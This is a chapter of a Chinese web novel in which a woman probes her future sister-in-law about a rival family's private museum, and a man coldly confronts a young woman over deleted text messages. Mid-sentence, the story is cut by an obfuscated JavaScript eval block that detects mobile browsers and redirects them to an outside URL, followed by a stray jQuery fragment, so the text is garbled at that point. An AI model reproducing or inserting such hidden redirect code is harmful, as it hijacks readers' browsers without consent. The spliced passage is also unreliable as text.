第17章和第18章，写得比较赶，9.5~9.6（周四、周五）两天，着重修改这两章


    第18章


    李佳莹刚从零食店出门，就被王曼曼截住。


    “佳莹，可以请教你一点事吗？”王曼曼心里始终有点不舒服，迫切想知道更多关于宋嘉明“前未婚妻”的事情。


    “曼曼姐怎么这么客气呀，咱们快是一家人啦。”李佳莹笑得很灿烂，两个酒窝若隐若现，开朗得像普照的艳阳，两个眼珠子极黑，与车上尖刻的模样判若两人。


    不得不说，李佳莹看上去是个很正常的人，但她那变幻莫测的态度让王曼曼不得不联系更多些，也许她的敌意只针对章雪。


    李佳莹一边拆开一筒薯片，一边热情递给王曼曼，两人在餐厅找了个空位坐下。


    王曼曼面带微笑，尽量让自己显得放松一些，但心中却充满疑问，“佳莹，能不能告诉我，为什么嘉明的订婚解除了？”


    她还记着宋嘉明说的话，询问语气尽量保持平和，生怕触碰到对方的敏感点。


    “哎呀，那些都是老黄历啦，过去的事情啦，我不好多嘴，回头你们要是吵架了，把我拉下水，我可死得太冤啦。”李佳莹摇头，一副坚决不说的模样。


    王曼曼看出李佳莹的顾虑，决定采取更加亲和的方式。


    她轻轻叹了口气，露出一个理解的微笑，"佳莹，我理解你的担心。但咱们即将成为一家人，我觉得坦诚很重要。你只是说两句，怎么算多嘴呢，我也不过是想更了解嘉明的过去。”


    王曼曼停顿了一下，然后继续说道："其实，我和嘉明之间也有一些小摩擦。我觉得如果能多了解一些他的过往，也许能帮助我们更好地沟通。你说呢？"


    李佳莹的表情略微松动，似乎被王曼曼的诚恳打动。


    她犹豫了一会儿，说道："曼曼姐，你说得对。我们确实应该坦诚，只是会涉及到家丑，而且都是长辈的事情，我说这些，并不太好。"


    王曼曼趁热打铁，温和地说："怎么能说家丑呢，我们是一家人，往事可能不太愉快。但是佳莹，我真的很在乎你哥，也很在乎我们未来的关系。如果有什么我应该知道的，希望你能告诉我。毕竟如果无意中踩雷，闹得大家都不开心，这不太好，是吧？"


    李佳莹似乎被说服了，她深吸一口气，放下了手中的薯片。


    "好吧，曼曼姐。既然你这么说了，我就告诉你一些我知道的。不过你要答应我，这些事情不要告诉哥，就当是我们姑嫂之间的小秘密，好吗？"


    王曼曼点头应允，心中暗喜终于有所突破。她耐心地等待李佳莹开口。


    "嘉明跟我说小雪的姑妈是李叔叔的二房，其他的倒没多说。"王曼曼选择了迂回战术，试图从李佳莹的反应中获取更多信息。


    “曼曼姐，你别怪我说话直，一般人我真不这么说，实在是章家人太过分了。”李佳莹抓起一把薯片，咬得咔嚓作响，语气间带着不屑与愤懑，“她们家，简直不是个东西！”


    "曼曼姐，你可能不知道，章家的事情可不简单。他们家有三口人，章雪、她姑姑章萍，还有她妹妹章柳。章雪她爸爸章梓睿以前在金融圈混得风生水起，据说靠着一些见不得人的手段赚了不少钱。但十几年前那场金融危机可把他们家给整惨了。她爸爸跳楼自杀，欠下一屁股债，听说连全家人抵命都还不清呢。最可怕的是，他还坑了很多大佬的钱，你知道的，这种人死了，债务可是要算在家人头上的。"


    李佳莹顿了顿，观察着王曼曼的神色，然后继续说：


    "他们家还经营着一个私人博物馆，叫章园。说是博物馆，其实就是个烧钱的玩意儿，亏得一塌糊涂。据说里面有什么两万多件藏品，还有什么祭祀仪轨展示，简直是在给死人烧钱。她爸爸一死，债主就上门要债，当时的情况是藏品一个都保不住，需要全部拿出去抵债，且还不够呢，好大一个窟窿。她姑姑章萍死活不肯卖藏品，到处求爷爷告奶奶。最后还是我爸看不过去，看她们可怜，才伸出援手帮了她们。"


    李佳莹露出一个意味深长的笑容，语气中带着一丝轻蔑，"曼曼姐，你们晋城那边不是也有不少私人博物馆吗？你应该知道，私人博物馆能赚几个钱？说白了，就是个败家玩意儿。章家那些所谓的''珍藏''，谁知道是真是假？”


    “我听说，他们家为了保住那些破烂玩意儿，可是什么事都干得出来呢。她姑妈为了章园，没有下限，卖身给我爸。当年按照约定，法律虽然不容许重婚，但我爸每年在这上面至少要砸小几千万，也是穿红坐车，亲戚迎道，过了明路的，算是我爸的二房太太。”


    “结果呢，还跟我妈玩心眼，姨太太上了天，吃里扒外，掉包古董，可把我妈气得够呛。而且呀，她觉得我爸一个人不够，还把她侄女推出去结交其他大佬，稳固章园的地位。就为了她们家那破园子，真是恶心死我啦。”


    “所以啊，做人太好心就是被欺负。我妈和我爸商量，不能一味做烂好人，我们家出一个人，章家出一个人，两家联姻，我们得拥有章园一定的股份才行。”


    她压低声音，带着一丝挑拨的意味说："你说，这样的家庭，会不会为了利益不择手段？嘉明哥可是个好人，我就怕他被人算计了。万一哪天章园出了什么问题，那不就是把他也拖下水了吗？还好，我嘉明哥意外脱离苦海，总算换了哥哥结亲事。你能跟我哥在一起，我真是为你们高兴呢。"


    李佳莹笑靥如花，仿佛刚才那番带刺的话语不是从她口中说出的一般。


    王曼曼顿时了然，事情没有李佳莹讲得那么简单，远比她所说的复杂得多。钱财有价，珍宝难得，李家恐怕是看上了章家的博物馆，想方设法占为己有。


    这些罗生门一般的讲述，就像重重迷雾，将章园和章家层层包裹，谁能知晓，真实的章萍拥有杜十娘怒沉百宝箱的勇气呢。


    每一个有意或者无意的讲述，都夹杂着造谣和抹黑，两家各有立场，争议不过是发酵罢了，迟早有一天会炸了。


    在王曼曼看来，这不过是两个家族之间的纷争，甚至另外一方因为人丁凋零，都不配称之为家族，俗话说“狗咬狗一嘴毛”嘛，在她看来就是如此。


    李佳莹轻轻拍了拍王曼曼的手背，眼神中流露出一丝深意，像是无意之间透露了太多，又仿佛有意引导着王曼曼往某个方向思考。


    “曼曼姐，你要嫁给我哥，我才跟你讲这么多呢。”她笑着说道，语气中带着几分亲昵和隐约的警告，“在这种拿股权的事情里，谁要是心软了，那才是真的会吃亏。”


    王曼曼抬眼看了看她，想好好看明白，她到底是什么意图，“佳莹，你觉得，我该怎么做呢？”


    她并没有立刻接话，而是将问题抛回给李佳莹，试探她的真正意图。


    李佳莹眯了眯眼睛，不动声色地又拿起一片薯片，轻轻咬了一口，笑起来很天真的模样，“我不知道你啊。嘉明哥跟我们感情很深的，就算你们结婚，他也不可能自己出去单干，注定回到家里帮忙。你确定选择我哥，我们一家人没有两个看法，龙城这边很抱团的哟。”


    话意很明显，一家人没有两个声音，如果她决定嫁给宋嘉明，就得跟李家站在同一个阵线，大家一致态度对待外人。


    即便章雪即将嫁到李家，只要他们认为章雪是“外人”，那么不管她做什么，都不算得是家里人。


    王曼曼也不例外，必须跟李家发同一个声音。


    王家做矿产生意，矿场尤其讲究“团结”，王曼曼听明白了李佳莹的意思。


    “万一事情不如你们预料呢？”王曼曼问。


    李佳莹笑容依旧如故，“曼曼姐，你多虑了。我只是好心提醒你罢了。章家迟早会被吞掉的，你别站错地方就行，其他的事情不需要你操心呀。”


    她定定地看了李佳莹好一会，决定收回对她正常评价的话，她就是个小魔鬼。


    “对了，曼曼姐，”李佳莹忽然转换了话题，好像在为讨论收尾，“你和嘉明哥的婚期定下来了吗？我可是迫不及待想看到你们俩的幸福时刻呢！”


    王曼曼不按着她的节奏走，她有自己的步调，“你们是怎么知道嘉明不是李家的孩子？”


    肉眼可见，李佳莹的脸色阴了下去。


    “哇——”


    一阵接一阵的呕吐感从胸膈处涌上来，章雪踉跄着站在白瓷砖地板上，头晕目眩。


    她扶着墙，控制不住地狂吐起来。


    胃里的一切似乎都要被翻了出来，所有的恶心感、痛苦，统统倾泻而出，直到吐到再也没有什么可吐的东西，她才手软脚软地靠着墙，像个被掏空的瓶子。


    耳朵出现了耳鸣，连带声音都听不太清楚，她不由得蜷缩起身子，手指无力地放在水龙头下，仍水流冲刷，冰凉的触感让她短暂地清醒了一些。


    洗了把脸，仔细清理干净口腔后，她感觉稍微恢复点力气，才慢慢挪出去。


    正要拐出去，倒是一头撞上了人，撞得她差点眼冒金星。


    她抬起吐到迟钝的脑壳，恰对上宋嘉明冷峻阴沉的目光。


    青青烟草气息扑来，她一下子撞进了他的怀里。


    宋嘉明低头看她，怀里残留着瞬间撞击带来的一星点疼，不致命，但要命。


    他手里拿着一包步纸，两人目光交汇片刻，他便将纸巾递了过来。


    她正要伸手接过，准备道谢，谁知，他突然一把将纸巾收回，举得高高的，超出了她的手能碰到的范围，像是在逗弄小孩一样。


    “道歉。”他的声音低沉而平静，带着不容拒绝的命令味道。


    章雪愣了一下，完全没有跟上他的思路，茫然地问道：“什么道歉？”


    宋嘉明微微眯起眼睛，嘴角挂着一抹若有似无的笑意，“跟我道歉，你才能用纸巾。”


    假如王曼曼在场，她一定会感叹，真是一家人，即便没有血缘关系，两兄妹微眯眼的时候，给人的感觉依然高度相似，戏谑小动物的残忍都写在眼睛里。


    章雪眨了眨眼睛，心里的怒火迅速涌上来，但此时她的身体虚弱，只能死死盯着他，试图从他的眼中找到一丝宽容。


    然而，宋嘉明目光依旧沉静，没有任何动摇，他就那样站着，执着地等待她的反应。


    空气中，烟草的气息愈发浓烈了。


    最终，她还是习惯性低头，眼下她难受到连争辩的力气都没有。


    她不知道因为什么需要道歉，反正他想听这些莫名其妙的话，那就讲给他听。


    她多少有点自暴自弃地如此想着。


    声音轻得几乎听不见，她嗫嚅着说：“嘉明哥哥，对不起。”


    宋嘉明点头通过，“下次别再让我因为一个道歉等太久。”


    纸巾递了过来，送到眼前，她突然就感觉很委屈，几乎快要落泪，但是跟车上强忍呕吐一个道理，她绝不愿意在他面前示弱到这个地步。


    她木然接过纸巾，向他道谢，“谢谢哥哥。”


    旋即，她的肩膀已经被他搂住，带着一股不可抗拒的风的力量，拉到僻静的露台。


    海风迎面吹来，她有些晕眩。


    “你还不知道为什么需要道歉吧。”


    他捏住她的下巴颏，冷冷盯着她，这小蠢货还委屈上了。


    宋嘉明微微叹了口气，低头靠近她，声音带着一丝危险的低沉，“为什么不回我的短信？”


    是的，那些删掉的短信，是他发的。


    然而，她全删掉了。


    他没有得到一个回复，于是，也知道被她全删掉了。


    章雪的心脏猛然一紧，宋嘉明的质问像一记重锤敲在她的脑海里。


    她不知道该怎么回应，只能茫然地望着他，仿佛不明白为什么短信这件小事会引发他的不满。


    “我……”她嗫嚅着，想解释什么，但话到嘴边却不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451311|140845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知该如何开口。


    “你什么？”宋嘉明捏着她下巴的手稍微用力了些，逼迫她与他对视，“你觉得，删掉短信不需要解释吗？”


    章雪的喉咙仿佛被什么堵住了，想辩解，却发现根本无从辩解。


    她低下眼睛，声音有些飘忽，“我……以为那些短信没什么重要的。”


    宋嘉明的眉头微微蹙起，嘴角挂着一丝冷笑，“没什么重要的？”


    他俯身靠近，眼神冷冽，“每一条短信，我都在等你的回复。结果呢？你直接删了，连看都没看一眼？”


    章雪咬紧了下唇，知道自己已经无法掩饰什么了。她低声道：“我……我真的没觉得那些短信有什么特别的。你发的每一条都很简短，而且，我当时……觉得我们之间，也没什么好说的。”


    “没什么好说的？”宋嘉明的声音低沉得像是压抑着某种情绪，他放开她的下巴，站直了身子，眼中透着一股不易察觉的怒气，“所以，你就选择直接忽略？”


    气氛压得她有些透不过气，她强自镇定，试图解释，“我没有想忽略你……只是，我真的很累，也没心思回任何人的短信。我以为，你也不会在意这些。”


    “不会在意？”宋嘉明冷笑了一声，双手插进口袋，居高临下地看着她，“章雪，我一直以为你蠢归蠢，至少不会蠢到认为，删掉我的短信就什么事都没有了。”


    她有些慌乱，抬起头看着他，“你为什么要发那些短信，你从来没有主动来找过我！那些短信……你也没有问我为什么不回！我以为这件事对你来说根本不重要！”


    宋嘉明的目光变得锐利起来，“那是因为我想看看，你能冷漠到什么程度。”


    章雪微微怔住。


    她下意识地辩解，“我没有想冷漠……我只是……”


    她的声音越来越低，连自己也觉得无力。


    “你只是觉得，既然我不直接上门找你，那这事就算过去了，对吗？”宋嘉明打断她，声音依旧冷静，但每一个字都像是刀锋般锋利，“可是你错了，章雪。我的沉默不代表不在意，而是给你机会，看看你会不会主动找我解释。”


    章雪低下头，嗫嚅着道：“对不起，我真的没有想到……”


    “我不需要听你现在的道歉，”他淡淡地说道，“我需要的是，你今后不会再这么无视我的消息。”


    章雪的心跳开始加速，他让她感到无所适从。


    “我……”她想说点什么，却被他打断。


    “记住，章雪，”宋嘉明靠近她，声音低沉而有力，“如果有一天，我真的走了，那就连质问你都不会有了。”


    这句话让章雪的心猛然一紧，她愣愣地看着他。


    空气一时安静下来，只剩下海风在耳边轻轻吹拂。章雪的脑海里乱成一团，她要嫁人了呀，他来跟她说这些乱七八糟的东西有什么用？


    片刻的沉默后，宋嘉明突然转身，冷淡说道：“我们走吧，回去吧。”


    走在风中，一前一后，她明知最好不开口，还是问他，“你发短信，说想跟我聊聊，你到底想说什么？”


    宋嘉明的脚步顿了顿，却没有立刻回答。风吹过，带起一阵沉默，仿佛整个世界都在等待着他的回应。他站在那里，背对着她，似乎在思索着该如何开口。


    片刻后，他终于转过身来，目光沉静，却带着一丝难以掩饰的复杂情感。


    “我发短信是因为，我以为你需要一个解释，”他的声音低沉，却清晰地传进了她的耳朵，“但现在看来，也许解释已经不重要了。”


    章雪愣了一下，心中一阵慌乱：“什么解释？”


    宋嘉明深吸了一口气，目光微微躲闪了一下，仿佛在压抑某种情绪：“我知道你要嫁人了，你的决定已经做了，我无权干涉。”


    章雪觉得胸口像是被什么东西重重撞了一下，愣住了，紧张地问道：“所以，你是要跟我说这个？”


    “不是。我只是想告诉你，如果你还记得那些短信，我想你应该明白，我从来没有对你隐瞒过什么。”


    “我不明白……”她下意识地开口，试图回避这个话题。


    宋嘉明没有给她逃避的机会，语气变得坚决起来：“你明白的，小雪。别装糊涂，也别用这种蠢蠢的眼光来看我。”


    章雪一时语塞，所有的言辞卡在喉咙里。她以为这场谈话会简单，却没想到他会这么直白。她心里乱成一团，不知道该怎么回应他。


    “我……”她想开口解释，却发现自己说不出话来。


    宋嘉明看了她一眼，眼神中带着一丝淡淡的失望，仿佛她的沉默就是答案。他转身，低声说道：“好了，不用再说了。其实我早就知道。”


    章雪心里一沉，咬了咬嘴唇：“你到底想说什么？为什么非要提那些短信？”


    “短信是我最后一次坦诚相待。我原以为，你会回我一个真实的答案。”


    章雪站在原地，张了张嘴，似乎想要解释什么，却终究没有说出口。


    宋嘉明站在风中，沉默了一瞬，仿佛给了章雪一个机会解释。但他微微侧头，又像是无意地将这个机会收了回去。


    “你知道的，章雪，那些短信……它们是我最后的试探，”他语气里带着淡淡的疲惫，“我想知道，在我们这段关系里，你到底有没有认真过，或者你至少会给我一个明确的答案。哪怕是拒绝。”


    章雪感觉到心脏骤然一紧，她终于意识到，宋嘉明今天所说的一切，并不仅仅是想要发泄不满，而是要一个他一直没有得到的答案。那些短信里包含的，不只是普通的关心或情感，而是他对这段关系的最后期待。


    她深吸一口气，努力让自己冷静下来，思绪纷乱：“可我……”声音干涩，她下意识攥紧了双手。


    “你什么？”宋嘉明的声音比之前更加冷淡，却带着某种决绝，“你连回复都没有。你以为沉默可以避免麻烦，还是……你根本不在乎？”